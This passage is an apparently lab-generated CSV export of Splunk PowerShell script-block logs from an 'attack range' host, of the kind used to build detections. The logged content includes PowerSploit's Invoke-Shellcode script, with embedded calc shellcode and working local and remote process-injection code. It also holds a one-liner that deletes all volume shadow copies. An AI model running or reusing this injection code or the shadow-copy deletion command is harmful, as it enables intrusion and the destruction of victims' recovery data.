0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) } if ( $PSBoundParameters['ProcessID'] ) { # Inject shellcode into the specified process ID $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose ""Injecting shellcode into PID: $ProcessId"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) ) { Inject-RemoteShellcode $ProcessId } } else { # Inject shellcode into the currently running PowerShell process $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose ""Injecting shellcode into PowerShell"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode into the running PowerShell process!"" ) ) { Inject-LocalShellcode } } }",,,,,,,,,,,"'2022-05-02T18:24:28.675234600Z'","4104132150x0122167Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122167Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local22 $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw ""Unable to allocate shellcode memory in PID: $ProcessID"" } Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$CallStubAddress) { Throw ""Unable to allocate thread call stub."" } Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy call stub to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Throw ""Unable to launch thread."" } # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) Write-Verbose 'Shellcode injection complete!' } # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process $AddressWidth = $null try { $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth } catch { throw 'Unable to determine OS processor address width.' } switch ($AddressWidth) { '32' { $64bitOS = $False } '64' { $64bitOS = $True $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) } default { throw 'Invalid OS address width detected.' } } if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } if ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. [Byte[]] $Shellcode32 = $Shellcode [Byte[]] $Shellcode64 = $Shellcode32 } else { # Pop a calc... or whatever shellcode you decide to place in here # I sincerely hope you trust that this shellcode actually pops a calc... # Insert your shellcode here in the for 0xXX,0xXX,... # 32-bit payload # msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 0x61,0x6c,0x63,0x00) # 64-bit payload # msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) } if ( $PSBoundParameters['ProcessID'] ) { # Inject shellcode into the specified process ID $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose ""Injecting shellcode into PID: $ProcessId"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) ) { Inject-RemoteShellcode $ProcessId } } else { # Inject shellcode into the currently running PowerShell process $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose ""Injecting shellcode into PowerShell"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode into the running PowerShell process!"" ) ) { Inject-LocalShellcode } } } 3930c537-c80a-4cc2-90ba-23b4d038b938C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1","2022-05-02T18:24:28.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122167,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122167,win,199,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0004-874C-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52",,4104,121838,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,,,,"'2264'",,,,,,121838,,,,"205af966-f636-408b-970e-9755248c2a52","Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}",,,,,,,,,,,"'2022-05-02T15:13:25.719450100Z'","4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'6088'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52","2022-05-02T15:13:25.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",121838,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,121838,win,1,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0006-5343-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Amazon Software License (the ""License""). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/asl/ # # or in the ""license"" file accompanying this file. This file is distributed # on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. <#----------------------------------------------------------------------------------------------------------- Send-FeatureStatus sends feature installation and corresponding service status to the console. -------------------------------------------------------------------------------------------------------------#> function Send-FeatureStatus { Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant try { $windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" }) $featureName = """" foreach ($feature in $windowsFeatures) { $featureName = $feature.FeatureName $featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue"" if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED) { Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole $srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status if ($srvStatus) { Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole } else { Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole } } } } catch { Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole } } # SIG # Begin signature block # MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw # KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P # AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk # BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC # hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v # dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED # MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql # +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF # UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h # mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw # YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld # AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw # 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP # LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE # QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn # KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji # WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq # yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G # CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz # MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr # BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV # BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ # bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl # cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ # u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W # JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU # faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J # A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s # 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF # i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0 # IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA # DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB # AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV # HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI # A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud # JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz # LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5 # NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx # Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6 # Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB # BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0 # cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp # 